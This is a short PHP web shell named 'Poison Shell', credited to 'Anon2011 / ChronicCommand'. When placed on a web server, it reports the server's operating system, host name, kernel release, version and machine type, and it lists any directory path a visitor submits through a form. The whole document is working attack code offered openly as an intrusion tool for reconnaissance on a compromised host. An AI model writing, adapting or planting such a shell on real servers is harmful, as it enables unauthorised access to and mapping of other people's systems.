<?php
//Poison Shell
//Coded by Anon2011 / ChronicCommand
//Last update: 07-Apr-11
//Change log:
//Added functionality to list directory

$os = php_uname('s'); //OS
$hn = php_uname('n'); //Host name
$rn = php_uname('r'); //Release name
$vi = php_uname('v'); //Version information
$mt = php_uname('m'); //Machine type
$dir = null; //Used later for uploading
$script_dir = getcwd(); //Current directory the script is located


echo "OS: $os<br/>";
echo "Host name: $hn<br/>";
echo "Release name: $rn<br/>";
echo "Version info: $vi<br/>";
echo "<br />";
echo "<form name=\"input\" method=\"POST\">
Directory to list: <input type=\"text\" name=\"dir\" />
<input type=\"submit\" value=\"Go\" />
</form>";
if($os == "Windows NT")
{
$dir = "\\";
}
else
{
$dir = $_POST['dir'];
}
if(isset($_POST['dir']))
{
  //Read files in the directory
  $scaneddir = opendir($dir) or die("Directory listing failed for " . $dir);
  while ($file = readdir($scaneddir)) 
  {
    if($file == "." || $file == ".." || $file == "index.php" )
    continue;
    echo "<a href=\"$file\">$file</a><br />";
  }
}
?>